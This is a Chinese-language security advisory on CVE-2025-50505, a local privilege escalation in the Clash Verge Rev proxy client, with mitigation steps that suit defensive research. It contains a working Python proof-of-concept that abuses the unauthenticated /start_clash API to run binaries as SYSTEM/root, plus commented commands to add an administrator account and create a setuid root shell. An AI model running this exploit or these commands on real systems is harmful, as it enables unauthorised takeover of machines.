IPBUF安全漏洞报告
English
CVE-2025-50505 CVSS 7.8 高危

CVE-2025-50505 Clash Verge Rev本地权限提升漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-50505
漏洞类型
本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Clash Verge Rev

相关标签

本地权限提升Clash Verge Rev未授权访问HTTP API服务权限提升CWE-269CWE-862高危漏洞Electron应用代理工具

漏洞概述

CVE-2025-50505是Clash Verge Rev代理客户端软件中存在的一个高危本地权限提升漏洞,CVSS评分为7.8分。该漏洞影响Clash Verge Rev 2.2.3及之前版本,已在2.3.0版本中修复。Clash Verge Rev是一款基于Electron开发的跨平台代理客户端,其默认安装时会强制安装系统级服务(clash-verge-service),该服务以系统权限运行。然而,该服务通过未经授权的HTTP API端点`/start_clash`暴露了关键功能,允许本地低权限用户通过该接口提交任意`bin_path`参数。攻击者可以将恶意二进制路径作为参数传递给服务进程,服务进程会以高权限身份执行该路径对应的程序,从而实现本地权限提升。由于该漏洞的利用需要本地访问权限且认证要求较低(PR:L),但无需用户交互(UI:N),一旦本地用户被攻陷,攻击者可迅速获取系统完全控制权,对机密性、完整性和可用性均造成高危影响。

技术细节

Clash Verge Rev在默认安装过程中会自动注册并启动一个名为`clash-verge-service`的系统服务,该服务以SYSTEM或root权限运行,负责管理Clash核心进程的启动、停止和重启等操作。服务进程通过本地HTTP API与前端GUI进行通信,其中关键端点`/start_clash`用于启动Clash代理核心。漏洞的根本原因在于该API端点未对客户端身份进行充分验证,且直接接收并使用客户端传入的`bin_path`参数来确定要执行的二进制文件路径,而未对该路径进行合法性校验或白名单过滤。攻击者作为本地低权限用户,可以通过向`/start_clash`端点发送精心构造的HTTP请求,将`bin_path`参数设置为任意恶意可执行文件的路径(如`/tmp/malicious_binary`或`C:\Users\attacker\evil.exe`)。服务进程接收到该请求后,会以系统级权限调用该路径对应的程序。由于执行上下文为高权限服务进程,恶意程序将以SYSTEM/root权限运行,攻击者从而完成本地权限提升。整个利用过程无需用户交互,且认证要求仅为低权限本地用户,攻击复杂度低,危害性极高。

攻击链分析

STEP 1
步骤1:确认目标环境
攻击者确认目标系统已安装Clash Verge Rev 2.2.3或更早版本,且clash-verge-service服务正在运行。服务默认监听本地端口(通常为33219),可通过netstat或任务管理器确认。
STEP 2
步骤2:准备恶意载荷
攻击者在本地创建恶意可执行文件,如用于添加管理员账户的脚本、反弹Shell程序或权限提升工具,并放置在可访问的路径下(如/tmp/evil或C:\Users\attacker\evil.exe)。
STEP 3
步骤3:利用未授权API
攻击者作为本地低权限用户,通过HTTP请求向服务的/start_clash端点发送POST请求,将bin_path参数设置为恶意载荷的路径。由于该API未进行身份验证和路径合法性校验,服务进程将接受该请求。
STEP 4
步骤4:权限提升执行
clash-verge-service以SYSTEM/root权限调用bin_path指定的恶意程序执行,攻击者的载荷在高权限上下文中运行,成功实现本地权限提升,获取系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-50505 - Clash Verge Rev Local Privilege Escalation PoC # Exploits unauthorized /start_clash HTTP API to execute arbitrary binary with SYSTEM privileges import requests import sys import os TARGET_HOST = "127.0.0.1" # Clash Verge service listens on localhost by default TARGET_PORT = 33219 # Default port for clash-verge-service HTTP API def exploit(bin_path): """ Send malicious bin_path to the unauthorized /start_clash endpoint. The service will execute the specified binary with elevated privileges. """ url = f"http://{TARGET_HOST}:{TARGET_PORT}/start_clash" payload = {"bin_path": bin_path} try: response = requests.post(url, json=payload, timeout=5) print(f"[+] Request sent to {url}") print(f"[+] Payload: {payload}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[!] Exploit successful! The binary is being executed with elevated privileges.") else: print("[-] Exploit may have failed. Check service status.") except requests.exceptions.ConnectionError: print("[-] Cannot connect to clash-verge-service. Ensure the service is running.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: # Default: execute cmd.exe (Windows) or /bin/bash (Linux) as SYSTEM if os.name == "nt": bin_path = "C:\\Windows\\System32\\cmd.exe" else: bin_path = "/bin/bash" print(f"[*] No binary path specified. Using default: {bin_path}") else: bin_path = sys.argv[1] # Step 1: Prepare a payload binary (e.g., add a new admin user or spawn a reverse shell) # On Windows: net user hacker P@ssw0rd /add && net localgroup administrators hacker /add # On Linux: cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash exploit(bin_path)

影响范围

Clash Verge Rev <= 2.2.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1) 通过防火墙或iptables规则限制clash-verge-service监听的本地端口(默认33219),仅允许必要的进程访问;2) 使用进程监控工具(如Sysmon、Process Monitor)监控clash-verge-service的子进程创建行为,及时发现异常执行;3) 通过组策略或文件权限限制普通用户对clash-verge-service可执行文件的访问;4) 暂时停止clash-verge-service服务(注意这将影响Clash Verge Rev的正常使用);5) 监控系统日志,关注是否有针对/start_clash端点的异常HTTP请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表